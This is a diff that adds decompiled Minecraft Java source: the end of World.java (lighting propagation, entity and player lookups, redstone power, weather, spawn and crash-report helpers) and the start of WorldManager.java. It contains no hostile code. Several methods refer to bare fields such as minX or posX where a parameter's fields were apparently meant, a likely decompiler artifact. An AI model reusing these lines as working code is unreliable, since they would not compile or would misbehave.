+    return getBlockState(p_175696_1_).getBlock().getMaterial() == Material.water;
+  }
+  
+  public boolean func_175708_f(BlockPos p_175708_1_, boolean p_175708_2_)
+  {
+    BiomeGenBase var3 = getBiomeGenForCoords(p_175708_1_);
+    float var4 = var3.func_180626_a(p_175708_1_);
+    
+    if (var4 > 0.15F)
+    {
+      return false;
+    }
+    if (!p_175708_2_)
+    {
+      return true;
+    }
+    
+
+    if ((p_175708_1_.getY() >= 0) && (p_175708_1_.getY() < 256) && (getLightFor(EnumSkyBlock.BLOCK, p_175708_1_) < 10))
+    {
+      Block var5 = getBlockState(p_175708_1_).getBlock();
+      
+      if ((var5.getMaterial() == Material.air) && (Blocks.snow_layer.canPlaceBlockAt(this, p_175708_1_)))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public boolean checkLight(BlockPos p_175664_1_)
+  {
+    boolean var2 = false;
+    
+    if (!provider.getHasNoSky())
+    {
+      var2 |= checkLightFor(EnumSkyBlock.SKY, p_175664_1_);
+    }
+    
+    var2 |= checkLightFor(EnumSkyBlock.BLOCK, p_175664_1_);
+    return var2;
+  }
+  
+  private int func_175638_a(BlockPos p_175638_1_, EnumSkyBlock p_175638_2_)
+  {
+    if ((p_175638_2_ == EnumSkyBlock.SKY) && (isAgainstSky(p_175638_1_)))
+    {
+      return 15;
+    }
+    
+
+    Block var3 = getBlockState(p_175638_1_).getBlock();
+    int var4 = p_175638_2_ == EnumSkyBlock.SKY ? 0 : var3.getLightValue();
+    int var5 = var3.getLightOpacity();
+    
+    if ((var5 >= 15) && (var3.getLightValue() > 0))
+    {
+      var5 = 1;
+    }
+    
+    if (var5 < 1)
+    {
+      var5 = 1;
+    }
+    
+    if (var5 >= 15)
+    {
+      return 0;
+    }
+    if (var4 >= 14)
+    {
+      return var4;
+    }
+    
+
+    EnumFacing[] var6 = EnumFacing.values();
+    int var7 = var6.length;
+    
+    for (int var8 = 0; var8 < var7; var8++)
+    {
+      EnumFacing var9 = var6[var8];
+      BlockPos var10 = p_175638_1_.offset(var9);
+      int var11 = getLightFor(p_175638_2_, var10) - var5;
+      
+      if (var11 > var4)
+      {
+        var4 = var11;
+      }
+      
+      if (var4 >= 14)
+      {
+        return var4;
+      }
+    }
+    
+    return var4;
+  }
+  
+
+
+  public boolean checkLightFor(EnumSkyBlock p_180500_1_, BlockPos p_180500_2_)
+  {
+    if (!isAreaLoaded(p_180500_2_, 17, false))
+    {
+      return false;
+    }
+    
+
+    int var3 = 0;
+    int var4 = 0;
+    theProfiler.startSection("getBrightness");
+    int var5 = getLightFor(p_180500_1_, p_180500_2_);
+    int var6 = func_175638_a(p_180500_2_, p_180500_1_);
+    int var7 = p_180500_2_.getX();
+    int var8 = p_180500_2_.getY();
+    int var9 = p_180500_2_.getZ();
+    
+
+
+
+
+
+
+
+
+    if (var6 > var5)
+    {
+      lightUpdateBlockList[(var4++)] = 133152;
+    }
+    else if (var6 < var5)
+    {
+      lightUpdateBlockList[(var4++)] = (0x20820 | var5 << 18);
+      
+      while (var3 < var4)
+      {
+        int var10 = lightUpdateBlockList[(var3++)];
+        int var11 = (var10 & 0x3F) - 32 + var7;
+        int var12 = (var10 >> 6 & 0x3F) - 32 + var8;
+        int var13 = (var10 >> 12 & 0x3F) - 32 + var9;
+        int var14 = var10 >> 18 & 0xF;
+        BlockPos var15 = new BlockPos(var11, var12, var13);
+        int var16 = getLightFor(p_180500_1_, var15);
+        
+        if (var16 == var14)
+        {
+          setLightFor(p_180500_1_, var15, 0);
+          
+          if (var14 > 0)
+          {
+            int var17 = MathHelper.abs_int(var11 - var7);
+            int var18 = MathHelper.abs_int(var12 - var8);
+            int var19 = MathHelper.abs_int(var13 - var9);
+            
+            if (var17 + var18 + var19 < 17)
+            {
+              EnumFacing[] var20 = EnumFacing.values();
+              int var21 = var20.length;
+              
+              for (int var22 = 0; var22 < var21; var22++)
+              {
+                EnumFacing var23 = var20[var22];
+                int var24 = var11 + var23.getFrontOffsetX();
+                int var25 = var12 + var23.getFrontOffsetY();
+                int var26 = var13 + var23.getFrontOffsetZ();
+                BlockPos var27 = new BlockPos(var24, var25, var26);
+                int var28 = Math.max(1, getBlockState(var27).getBlock().getLightOpacity());
+                var16 = getLightFor(p_180500_1_, var27);
+                
+                if ((var16 == var14 - var28) && (var4 < lightUpdateBlockList.length))
+                {
+                  lightUpdateBlockList[(var4++)] = (var24 - var7 + 32 | var25 - var8 + 32 << 6 | var26 - var9 + 32 << 12 | var14 - var28 << 18);
+                }
+              }
+            }
+          }
+        }
+      }
+      
+      var3 = 0;
+    }
+    
+    theProfiler.endSection();
+    theProfiler.startSection("checkedPosition < toCheckCount");
+    
+    while (var3 < var4)
+    {
+      int var10 = lightUpdateBlockList[(var3++)];
+      int var11 = (var10 & 0x3F) - 32 + var7;
+      int var12 = (var10 >> 6 & 0x3F) - 32 + var8;
+      int var13 = (var10 >> 12 & 0x3F) - 32 + var9;
+      BlockPos var29 = new BlockPos(var11, var12, var13);
+      int var30 = getLightFor(p_180500_1_, var29);
+      int var16 = func_175638_a(var29, p_180500_1_);
+      
+      if (var16 != var30)
+      {
+        setLightFor(p_180500_1_, var29, var16);
+        
+        if (var16 > var30)
+        {
+          int var17 = Math.abs(var11 - var7);
+          int var18 = Math.abs(var12 - var8);
+          int var19 = Math.abs(var13 - var9);
+          boolean var31 = var4 < lightUpdateBlockList.length - 6;
+          
+          if ((var17 + var18 + var19 < 17) && (var31))
+          {
+            if (getLightFor(p_180500_1_, var29.offsetWest()) < var16)
+            {
+              lightUpdateBlockList[(var4++)] = (var11 - 1 - var7 + 32 + (var12 - var8 + 32 << 6) + (var13 - var9 + 32 << 12));
+            }
+            
+            if (getLightFor(p_180500_1_, var29.offsetEast()) < var16)
+            {
+              lightUpdateBlockList[(var4++)] = (var11 + 1 - var7 + 32 + (var12 - var8 + 32 << 6) + (var13 - var9 + 32 << 12));
+            }
+            
+            if (getLightFor(p_180500_1_, var29.offsetDown()) < var16)
+            {
+              lightUpdateBlockList[(var4++)] = (var11 - var7 + 32 + (var12 - 1 - var8 + 32 << 6) + (var13 - var9 + 32 << 12));
+            }
+            
+            if (getLightFor(p_180500_1_, var29.offsetUp()) < var16)
+            {
+              lightUpdateBlockList[(var4++)] = (var11 - var7 + 32 + (var12 + 1 - var8 + 32 << 6) + (var13 - var9 + 32 << 12));
+            }
+            
+            if (getLightFor(p_180500_1_, var29.offsetNorth()) < var16)
+            {
+              lightUpdateBlockList[(var4++)] = (var11 - var7 + 32 + (var12 - var8 + 32 << 6) + (var13 - 1 - var9 + 32 << 12));
+            }
+            
+            if (getLightFor(p_180500_1_, var29.offsetSouth()) < var16)
+            {
+              lightUpdateBlockList[(var4++)] = (var11 - var7 + 32 + (var12 - var8 + 32 << 6) + (var13 + 1 - var9 + 32 << 12));
+            }
+          }
+        }
+      }
+    }
+    
+    theProfiler.endSection();
+    return true;
+  }
+  
+
+
+
+
+  public boolean tickUpdates(boolean p_72955_1_)
+  {
+    return false;
+  }
+  
+  public List getPendingBlockUpdates(Chunk p_72920_1_, boolean p_72920_2_)
+  {
+    return null;
+  }
+  
+  public List func_175712_a(StructureBoundingBox p_175712_1_, boolean p_175712_2_)
+  {
+    return null;
+  }
+  
+
+
+
+  public List getEntitiesWithinAABBExcludingEntity(Entity p_72839_1_, AxisAlignedBB p_72839_2_)
+  {
+    return func_175674_a(p_72839_1_, p_72839_2_, IEntitySelector.field_180132_d);
+  }
+  
+  public List func_175674_a(Entity p_175674_1_, AxisAlignedBB p_175674_2_, Predicate p_175674_3_)
+  {
+    ArrayList var4 = Lists.newArrayList();
+    int var5 = MathHelper.floor_double((minX - 2.0D) / 16.0D);
+    int var6 = MathHelper.floor_double((maxX + 2.0D) / 16.0D);
+    int var7 = MathHelper.floor_double((minZ - 2.0D) / 16.0D);
+    int var8 = MathHelper.floor_double((maxZ + 2.0D) / 16.0D);
+    
+    for (int var9 = var5; var9 <= var6; var9++)
+    {
+      for (int var10 = var7; var10 <= var8; var10++)
+      {
+        if (isChunkLoaded(var9, var10, true))
+        {
+          getChunkFromChunkCoords(var9, var10).func_177414_a(p_175674_1_, p_175674_2_, var4, p_175674_3_);
+        }
+      }
+    }
+    
+    return var4;
+  }
+  
+  public List func_175644_a(Class p_175644_1_, Predicate p_175644_2_)
+  {
+    ArrayList var3 = Lists.newArrayList();
+    Iterator var4 = loadedEntityList.iterator();
+    
+    while (var4.hasNext())
+    {
+      Entity var5 = (Entity)var4.next();
+      
+      if ((p_175644_1_.isAssignableFrom(var5.getClass())) && (p_175644_2_.apply(var5)))
+      {
+        var3.add(var5);
+      }
+    }
+    
+    return var3;
+  }
+  
+  public List func_175661_b(Class p_175661_1_, Predicate p_175661_2_)
+  {
+    ArrayList var3 = Lists.newArrayList();
+    Iterator var4 = playerEntities.iterator();
+    
+    while (var4.hasNext())
+    {
+      Entity var5 = (Entity)var4.next();
+      
+      if ((p_175661_1_.isAssignableFrom(var5.getClass())) && (p_175661_2_.apply(var5)))
+      {
+        var3.add(var5);
+      }
+    }
+    
+    return var3;
+  }
+  
+
+
+
+  public List getEntitiesWithinAABB(Class p_72872_1_, AxisAlignedBB p_72872_2_)
+  {
+    return func_175647_a(p_72872_1_, p_72872_2_, IEntitySelector.field_180132_d);
+  }
+  
+  public List func_175647_a(Class p_175647_1_, AxisAlignedBB p_175647_2_, Predicate p_175647_3_)
+  {
+    int var4 = MathHelper.floor_double((minX - 2.0D) / 16.0D);
+    int var5 = MathHelper.floor_double((maxX + 2.0D) / 16.0D);
+    int var6 = MathHelper.floor_double((minZ - 2.0D) / 16.0D);
+    int var7 = MathHelper.floor_double((maxZ + 2.0D) / 16.0D);
+    ArrayList var8 = Lists.newArrayList();
+    
+    for (int var9 = var4; var9 <= var5; var9++)
+    {
+      for (int var10 = var6; var10 <= var7; var10++)
+      {
+        if (isChunkLoaded(var9, var10, true))
+        {
+          getChunkFromChunkCoords(var9, var10).func_177430_a(p_175647_1_, p_175647_2_, var8, p_175647_3_);
+        }
+      }
+    }
+    
+    return var8;
+  }
+  
+  public Entity findNearestEntityWithinAABB(Class p_72857_1_, AxisAlignedBB p_72857_2_, Entity p_72857_3_)
+  {
+    List var4 = getEntitiesWithinAABB(p_72857_1_, p_72857_2_);
+    Entity var5 = null;
+    double var6 = Double.MAX_VALUE;
+    
+    for (int var8 = 0; var8 < var4.size(); var8++)
+    {
+      Entity var9 = (Entity)var4.get(var8);
+      
+      if ((var9 != p_72857_3_) && (IEntitySelector.field_180132_d.apply(var9)))
+      {
+        double var10 = p_72857_3_.getDistanceSqToEntity(var9);
+        
+        if (var10 <= var6)
+        {
+          var5 = var9;
+          var6 = var10;
+        }
+      }
+    }
+    
+    return var5;
+  }
+  
+
+
+
+  public Entity getEntityByID(int p_73045_1_)
+  {
+    return (Entity)entitiesById.lookup(p_73045_1_);
+  }
+  
+
+
+
+  public List getLoadedEntityList()
+  {
+    return loadedEntityList;
+  }
+  
+  public void func_175646_b(BlockPos p_175646_1_, TileEntity p_175646_2_)
+  {
+    if (isBlockLoaded(p_175646_1_))
+    {
+      getChunkFromBlockCoords(p_175646_1_).setChunkModified();
+    }
+  }
+  
+
+
+
+  public int countEntities(Class entityType)
+  {
+    int var2 = 0;
+    Iterator var3 = loadedEntityList.iterator();
+    
+    while (var3.hasNext())
+    {
+      Entity var4 = (Entity)var3.next();
+      
+      if (((!(var4 instanceof EntityLiving)) || (!((EntityLiving)var4).isNoDespawnRequired())) && (entityType.isAssignableFrom(var4.getClass())))
+      {
+        var2++;
+      }
+    }
+    
+    return var2;
+  }
+  
+  public void loadEntities(Collection entityCollection)
+  {
+    loadedEntityList.addAll(entityCollection);
+    Iterator var2 = entityCollection.iterator();
+    
+    while (var2.hasNext())
+    {
+      Entity var3 = (Entity)var2.next();
+      onEntityAdded(var3);
+    }
+  }
+  
+  public void unloadEntities(Collection entityCollection)
+  {
+    unloadedEntityList.addAll(entityCollection);
+  }
+  
+  public boolean canBlockBePlaced(Block p_175716_1_, BlockPos p_175716_2_, boolean p_175716_3_, EnumFacing p_175716_4_, Entity p_175716_5_, ItemStack p_175716_6_)
+  {
+    Block var7 = getBlockState(p_175716_2_).getBlock();
+    AxisAlignedBB var8 = p_175716_3_ ? null : p_175716_1_.getCollisionBoundingBox(this, p_175716_2_, p_175716_1_.getDefaultState());
+    return (var8 == null) || (checkNoEntityCollision(var8, p_175716_5_));
+  }
+  
+  public int getStrongPower(BlockPos pos, EnumFacing direction)
+  {
+    IBlockState var3 = getBlockState(pos);
+    return var3.getBlock().isProvidingStrongPower(this, pos, var3, direction);
+  }
+  
+  public WorldType getWorldType()
+  {
+    return worldInfo.getTerrainType();
+  }
+  
+  public int getStrongPower(BlockPos pos)
+  {
+    byte var2 = 0;
+    int var3 = Math.max(var2, getStrongPower(pos.offsetDown(), EnumFacing.DOWN));
+    
+    if (var3 >= 15)
+    {
+      return var3;
+    }
+    
+
+    var3 = Math.max(var3, getStrongPower(pos.offsetUp(), EnumFacing.UP));
+    
+    if (var3 >= 15)
+    {
+      return var3;
+    }
+    
+
+    var3 = Math.max(var3, getStrongPower(pos.offsetNorth(), EnumFacing.NORTH));
+    
+    if (var3 >= 15)
+    {
+      return var3;
+    }
+    
+
+    var3 = Math.max(var3, getStrongPower(pos.offsetSouth(), EnumFacing.SOUTH));
+    
+    if (var3 >= 15)
+    {
+      return var3;
+    }
+    
+
+    var3 = Math.max(var3, getStrongPower(pos.offsetWest(), EnumFacing.WEST));
+    
+    if (var3 >= 15)
+    {
+      return var3;
+    }
+    
+
+    var3 = Math.max(var3, getStrongPower(pos.offsetEast(), EnumFacing.EAST));
+    return var3 >= 15 ? var3 : var3;
+  }
+  
+
+
+
+
+
+  public boolean func_175709_b(BlockPos p_175709_1_, EnumFacing p_175709_2_)
+  {
+    return getRedstonePower(p_175709_1_, p_175709_2_) > 0;
+  }
+  
+  public int getRedstonePower(BlockPos pos, EnumFacing facing)
+  {
+    IBlockState var3 = getBlockState(pos);
+    Block var4 = var3.getBlock();
+    return var4.isNormalCube() ? getStrongPower(pos) : var4.isProvidingWeakPower(this, pos, var3, facing);
+  }
+  
+  public boolean isBlockPowered(BlockPos pos)
+  {
+    return getRedstonePower(pos.offsetDown(), EnumFacing.DOWN) > 0;
+  }
+  
+  public int func_175687_A(BlockPos p_175687_1_)
+  {
+    int var2 = 0;
+    EnumFacing[] var3 = EnumFacing.values();
+    int var4 = var3.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      EnumFacing var6 = var3[var5];
+      int var7 = getRedstonePower(p_175687_1_.offset(var6), var6);
+      
+      if (var7 >= 15)
+      {
+        return 15;
+      }
+      
+      if (var7 > var2)
+      {
+        var2 = var7;
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+
+  public EntityPlayer getClosestPlayerToEntity(Entity entityIn, double distance)
+  {
+    return getClosestPlayer(posX, posY, posZ, distance);
+  }
+  
+
+
+
+
+  public EntityPlayer getClosestPlayer(double x, double y, double z, double distance)
+  {
+    double var9 = -1.0D;
+    EntityPlayer var11 = null;
+    
+    for (int var12 = 0; var12 < playerEntities.size(); var12++)
+    {
+      EntityPlayer var13 = (EntityPlayer)playerEntities.get(var12);
+      
+      if (IEntitySelector.field_180132_d.apply(var13))
+      {
+        double var14 = var13.getDistanceSq(x, y, z);
+        
+        if (((distance < 0.0D) || (var14 < distance * distance)) && ((var9 == -1.0D) || (var14 < var9)))
+        {
+          var9 = var14;
+          var11 = var13;
+        }
+      }
+    }
+    
+    return var11;
+  }
+  
+  public boolean func_175636_b(double p_175636_1_, double p_175636_3_, double p_175636_5_, double p_175636_7_)
+  {
+    for (int var9 = 0; var9 < playerEntities.size(); var9++)
+    {
+      EntityPlayer var10 = (EntityPlayer)playerEntities.get(var9);
+      
+      if (IEntitySelector.field_180132_d.apply(var10))
+      {
+        double var11 = var10.getDistanceSq(p_175636_1_, p_175636_3_, p_175636_5_);
+        
+        if ((p_175636_7_ < 0.0D) || (var11 < p_175636_7_ * p_175636_7_))
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  public EntityPlayer getPlayerEntityByName(String name)
+  {
+    for (int var2 = 0; var2 < playerEntities.size(); var2++)
+    {
+      EntityPlayer var3 = (EntityPlayer)playerEntities.get(var2);
+      
+      if (name.equals(var3.getName()))
+      {
+        return var3;
+      }
+    }
+    
+    return null;
+  }
+  
+  public EntityPlayer getPlayerEntityByUUID(UUID uuid)
+  {
+    for (int var2 = 0; var2 < playerEntities.size(); var2++)
+    {
+      EntityPlayer var3 = (EntityPlayer)playerEntities.get(var2);
+      
+      if (uuid.equals(var3.getUniqueID()))
+      {
+        return var3;
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+  public void sendQuittingDisconnectingPacket() {}
+  
+
+
+  public void checkSessionLock()
+    throws MinecraftException
+  {
+    saveHandler.checkSessionLock();
+  }
+  
+  public void func_82738_a(long p_82738_1_)
+  {
+    worldInfo.incrementTotalWorldTime(p_82738_1_);
+  }
+  
+
+
+
+  public long getSeed()
+  {
+    return worldInfo.getSeed();
+  }
+  
+  public long getTotalWorldTime()
+  {
+    return worldInfo.getWorldTotalTime();
+  }
+  
+  public long getWorldTime()
+  {
+    return worldInfo.getWorldTime();
+  }
+  
+
+
+
+  public void setWorldTime(long time)
+  {
+    worldInfo.setWorldTime(time);
+  }
+  
+  public BlockPos getSpawnPoint()
+  {
+    BlockPos var1 = new BlockPos(worldInfo.getSpawnX(), worldInfo.getSpawnY(), worldInfo.getSpawnZ());
+    
+    if (!getWorldBorder().contains(var1))
+    {
+      var1 = getHorizon(new BlockPos(getWorldBorder().getCenterX(), 0.0D, getWorldBorder().getCenterZ()));
+    }
+    
+    return var1;
+  }
+  
+  public void setSpawnLocation(BlockPos p_175652_1_)
+  {
+    worldInfo.setSpawn(p_175652_1_);
+  }
+  
+
+
+
+  public void joinEntityInSurroundings(Entity entityIn)
+  {
+    int var2 = MathHelper.floor_double(posX / 16.0D);
+    int var3 = MathHelper.floor_double(posZ / 16.0D);
+    byte var4 = 2;
+    
+    for (int var5 = var2 - var4; var5 <= var2 + var4; var5++)
+    {
+      for (int var6 = var3 - var4; var6 <= var3 + var4; var6++)
+      {
+        getChunkFromChunkCoords(var5, var6);
+      }
+    }
+    
+    if (!loadedEntityList.contains(entityIn))
+    {
+      loadedEntityList.add(entityIn);
+    }
+  }
+  
+  public boolean isBlockModifiable(EntityPlayer p_175660_1_, BlockPos p_175660_2_)
+  {
+    return true;
+  }
+  
+
+
+
+  public void setEntityState(Entity entityIn, byte p_72960_2_) {}
+  
+
+
+
+  public IChunkProvider getChunkProvider()
+  {
+    return chunkProvider;
+  }
+  
+  public void addBlockEvent(BlockPos pos, Block blockIn, int eventID, int eventParam)
+  {
+    blockIn.onBlockEventReceived(this, pos, getBlockState(pos), eventID, eventParam);
+  }
+  
+
+
+
+  public ISaveHandler getSaveHandler()
+  {
+    return saveHandler;
+  }
+  
+
+
+
+  public WorldInfo getWorldInfo()
+  {
+    return worldInfo;
+  }
+  
+
+
+
+  public GameRules getGameRules()
+  {
+    return worldInfo.getGameRulesInstance();
+  }
+  
+
+
+  public void updateAllPlayersSleepingFlag() {}
+  
+
+  public float getWeightedThunderStrength(float p_72819_1_)
+  {
+    return (prevThunderingStrength + (thunderingStrength - prevThunderingStrength) * p_72819_1_) * getRainStrength(p_72819_1_);
+  }
+  
+
+
+
+  public void setThunderStrength(float p_147442_1_)
+  {
+    prevThunderingStrength = p_147442_1_;
+    thunderingStrength = p_147442_1_;
+  }
+  
+
+
+
+  public float getRainStrength(float p_72867_1_)
+  {
+    return prevRainingStrength + (rainingStrength - prevRainingStrength) * p_72867_1_;
+  }
+  
+
+
+
+  public void setRainStrength(float strength)
+  {
+    prevRainingStrength = strength;
+    rainingStrength = strength;
+  }
+  
+
+
+
+  public boolean isThundering()
+  {
+    return getWeightedThunderStrength(1.0F) > 0.9D;
+  }
+  
+
+
+
+  public boolean isRaining()
+  {
+    return getRainStrength(1.0F) > 0.2D;
+  }
+  
+  public boolean func_175727_C(BlockPos p_175727_1_)
+  {
+    if (!isRaining())
+    {
+      return false;
+    }
+    if (!isAgainstSky(p_175727_1_))
+    {
+      return false;
+    }
+    if (func_175725_q(p_175727_1_).getY() > p_175727_1_.getY())
+    {
+      return false;
+    }
+    
+
+    BiomeGenBase var2 = getBiomeGenForCoords(p_175727_1_);
+    return func_175708_f(p_175727_1_, false) ? false : var2.getEnableSnow() ? false : var2.canSpawnLightningBolt();
+  }
+  
+
+  public boolean func_180502_D(BlockPos p_180502_1_)
+  {
+    BiomeGenBase var2 = getBiomeGenForCoords(p_180502_1_);
+    return var2.isHighHumidity();
+  }
+  
+  public MapStorage func_175693_T()
+  {
+    return mapStorage;
+  }
+  
+
+
+
+
+  public void setItemData(String p_72823_1_, WorldSavedData p_72823_2_)
+  {
+    mapStorage.setData(p_72823_1_, p_72823_2_);
+  }
+  
+
+
+
+
+  public WorldSavedData loadItemData(Class p_72943_1_, String p_72943_2_)
+  {
+    return mapStorage.loadData(p_72943_1_, p_72943_2_);
+  }
+  
+
+
+
+
+  public int getUniqueDataId(String p_72841_1_)
+  {
+    return mapStorage.getUniqueDataId(p_72841_1_);
+  }
+  
+  public void func_175669_a(int p_175669_1_, BlockPos p_175669_2_, int p_175669_3_)
+  {
+    for (int var4 = 0; var4 < worldAccesses.size(); var4++)
+    {
+      ((IWorldAccess)worldAccesses.get(var4)).func_180440_a(p_175669_1_, p_175669_2_, p_175669_3_);
+    }
+  }
+  
+  public void playAuxSFX(int p_175718_1_, BlockPos p_175718_2_, int p_175718_3_)
+  {
+    playAuxSFXAtEntity(null, p_175718_1_, p_175718_2_, p_175718_3_);
+  }
+  
+  public void playAuxSFXAtEntity(EntityPlayer p_180498_1_, int p_180498_2_, BlockPos p_180498_3_, int p_180498_4_)
+  {
+    try
+    {
+      for (int var5 = 0; var5 < worldAccesses.size(); var5++)
+      {
+        ((IWorldAccess)worldAccesses.get(var5)).func_180439_a(p_180498_1_, p_180498_2_, p_180498_3_, p_180498_4_);
+      }
+    }
+    catch (Throwable var8)
+    {
+      CrashReport var6 = CrashReport.makeCrashReport(var8, "Playing level event");
+      CrashReportCategory var7 = var6.makeCategory("Level event being played");
+      var7.addCrashSection("Block coordinates", CrashReportCategory.getCoordinateInfo(p_180498_3_));
+      var7.addCrashSection("Event source", p_180498_1_);
+      var7.addCrashSection("Event type", Integer.valueOf(p_180498_2_));
+      var7.addCrashSection("Event data", Integer.valueOf(p_180498_4_));
+      throw new ReportedException(var6);
+    }
+  }
+  
+
+
+
+  public int getHeight()
+  {
+    return 256;
+  }
+  
+
+
+
+  public int getActualHeight()
+  {
+    return provider.getHasNoSky() ? 128 : 256;
+  }
+  
+
+
+
+  public Random setRandomSeed(int p_72843_1_, int p_72843_2_, int p_72843_3_)
+  {
+    long var4 = p_72843_1_ * 341873128712L + p_72843_2_ * 132897987541L + getWorldInfo().getSeed() + p_72843_3_;
+    rand.setSeed(var4);
+    return rand;
+  }
+  
+  public BlockPos func_180499_a(String p_180499_1_, BlockPos p_180499_2_)
+  {
+    return getChunkProvider().func_180513_a(this, p_180499_1_, p_180499_2_);
+  }
+  
+
+
+
+  public boolean extendedLevelsInChunkCache()
+  {
+    return false;
+  }
+  
+
+
+
+  public double getHorizon()
+  {
+    return worldInfo.getTerrainType() == WorldType.FLAT ? 0.0D : 63.0D;
+  }
+  
+
+
+
+  public CrashReportCategory addWorldInfoToCrashReport(CrashReport report)
+  {
+    CrashReportCategory var2 = report.makeCategoryDepth("Affected level", 1);
+    var2.addCrashSection("Level name", worldInfo == null ? "????" : worldInfo.getWorldName());
+    var2.addCrashSectionCallable("All players", new Callable()
+    {
+      private static final String __OBFID = "CL_00000143";
+      
+      public String call() {
+        return playerEntities.size() + " total; " + playerEntities.toString();
+      }
+    });
+    var2.addCrashSectionCallable("Chunk stats", new Callable()
+    {
+      private static final String __OBFID = "CL_00000144";
+      
+      public String call() {
+        return chunkProvider.makeString();
+      }
+    });
+    
+    try
+    {
+      worldInfo.addToCrashReport(var2);
+    }
+    catch (Throwable var4)
+    {
+      var2.addCrashSectionThrowable("Level Data Unobtainable", var4);
+    }
+    
+    return var2;
+  }
+  
+  public void sendBlockBreakProgress(int breakerId, BlockPos pos, int progress)
+  {
+    for (int var4 = 0; var4 < worldAccesses.size(); var4++)
+    {
+      IWorldAccess var5 = (IWorldAccess)worldAccesses.get(var4);
+      var5.sendBlockBreakProgress(breakerId, pos, progress);
+    }
+  }
+  
+
+
+
+  public Calendar getCurrentDate()
+  {
+    if (getTotalWorldTime() % 600L == 0L)
+    {
+      theCalendar.setTimeInMillis(MinecraftServer.getCurrentTimeMillis());
+    }
+    
+    return theCalendar;
+  }
+  
+  public void makeFireworks(double x, double y, double z, double motionX, double motionY, double motionZ, NBTTagCompound compund) {}
+  
+  public Scoreboard getScoreboard()
+  {
+    return worldScoreboard;
+  }
+  
+  public void updateComparatorOutputLevel(BlockPos pos, Block blockIn)
+  {
+    Iterator var3 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var3.hasNext())
+    {
+      EnumFacing var4 = (EnumFacing)var3.next();
+      BlockPos var5 = pos.offset(var4);
+      
+      if (isBlockLoaded(var5))
+      {
+        IBlockState var6 = getBlockState(var5);
+        
+        if (Blocks.unpowered_comparator.func_149907_e(var6.getBlock()))
+        {
+          var6.getBlock().onNeighborBlockChange(this, var5, var6, blockIn);
+        }
+        else if (var6.getBlock().isNormalCube())
+        {
+          var5 = var5.offset(var4);
+          var6 = getBlockState(var5);
+          
+          if (Blocks.unpowered_comparator.func_149907_e(var6.getBlock()))
+          {
+            var6.getBlock().onNeighborBlockChange(this, var5, var6, blockIn);
+          }
+        }
+      }
+    }
+  }
+  
+  public DifficultyInstance getDifficultyForLocation(BlockPos pos)
+  {
+    long var2 = 0L;
+    float var4 = 0.0F;
+    
+    if (isBlockLoaded(pos))
+    {
+      var4 = getCurrentMoonPhaseFactor();
+      var2 = getChunkFromBlockCoords(pos).getInhabitedTime();
+    }
+    
+    return new DifficultyInstance(getDifficulty(), getWorldTime(), var2, var4);
+  }
+  
+  public EnumDifficulty getDifficulty()
+  {
+    return getWorldInfo().getDifficulty();
+  }
+  
+  public int getSkylightSubtracted()
+  {
+    return skylightSubtracted;
+  }
+  
+  public void setSkylightSubtracted(int newSkylightSubtracted)
+  {
+    skylightSubtracted = newSkylightSubtracted;
+  }
+  
+  public int func_175658_ac()
+  {
+    return lastLightningBolt;
+  }
+  
+  public void setLastLightningBolt(int lastLightningBoltIn)
+  {
+    lastLightningBolt = lastLightningBoltIn;
+  }
+  
+  public boolean isFindingSpawnPoint()
+  {
+    return findingSpawnPoint;
+  }
+  
+  public VillageCollection getVillageCollection()
+  {
+    return villageCollectionObj;
+  }
+  
+  public WorldBorder getWorldBorder()
+  {
+    return worldBorder;
+  }
+  
+
+
+
+  public boolean chunkExists(int x, int z)
+  {
+    BlockPos var3 = getSpawnPoint();
+    int var4 = x * 16 + 8 - var3.getX();
+    int var5 = z * 16 + 8 - var3.getZ();
+    short var6 = 128;
+    return (var4 >= -var6) && (var4 <= var6) && (var5 >= -var6) && (var5 <= var6);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldManager.java b/src/minecraft/net/minecraft/world/WorldManager.java
new file mode 100644
index 0000000..32acf95
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldManager.java
@@ -0,0 +1,110 @@
+package net.minecraft.world;
+
+import java.util.Iterator;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityTracker;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.network.play.server.S25PacketBlockBreakAnim;
+import net.minecraft.network.play.server.S28PacketEffect;
+import net.minecraft.network.play.server.S29PacketSoundEffect;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.PlayerManager;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+
+public class WorldManager implements IWorldAccess
+{
+  private MinecraftServer mcServer;
+  private WorldServer theWorldServer;
+  private static final String __OBFID = "CL_00001433";
+  
+  public WorldManager(MinecraftServer p_i1517_1_, WorldServer p_i1517_2_)
+  {
+    mcServer = p_i1517_1_;
+    theWorldServer = p_i1517_2_;
+  }
+  
+
+
+  public void func_180442_a(int p_180442_1_, boolean p_180442_2_, double p_180442_3_, double p_180442_5_, double p_180442_7_, double p_180442_9_, double p_180442_11_, double p_180442_13_, int... p_180442_15_) {}
+  
+
+
+  public void onEntityAdded(Entity entityIn)
+  {
+    theWorldServer.getEntityTracker().trackEntity(entityIn);
+  }
+  
+
+
+
+
+  public void onEntityRemoved(Entity entityIn)
+  {
+    theWorldServer.getEntityTracker().untrackEntity(entityIn);
+  }
+  
+
+
+
+  public void playSound(String soundName, double x, double y, double z, float volume, float pitch)
+  {
+    mcServer.getConfigurationManager().sendToAllNear(x, y, z, volume > 1.0F ? 16.0F * volume : 16.0D, theWorldServer.provider.getDimensionId(), new S29PacketSoundEffect(soundName, x, y, z, volume, pitch));
+  }
+  
+
+
+
+  public void playSoundToNearExcept(EntityPlayer except, String soundName, double x, double y, double z, float volume, float pitch)
+  {
+    mcServer.getConfigurationManager().sendToAllNearExcept(except, x, y, z, volume > 1.0F ? 16.0F * volume : 16.0D, theWorldServer.provider.getDimensionId(), new S29PacketSoundEffect(soundName, x, y, z, volume, pitch));
+  }
+  
+
+
+  public void markBlockRangeForRenderUpdate(int x1, int y1, int z1, int x2, int y2, int z2) {}
+  
+
+
+  public void markBlockForUpdate(BlockPos pos)
+  {
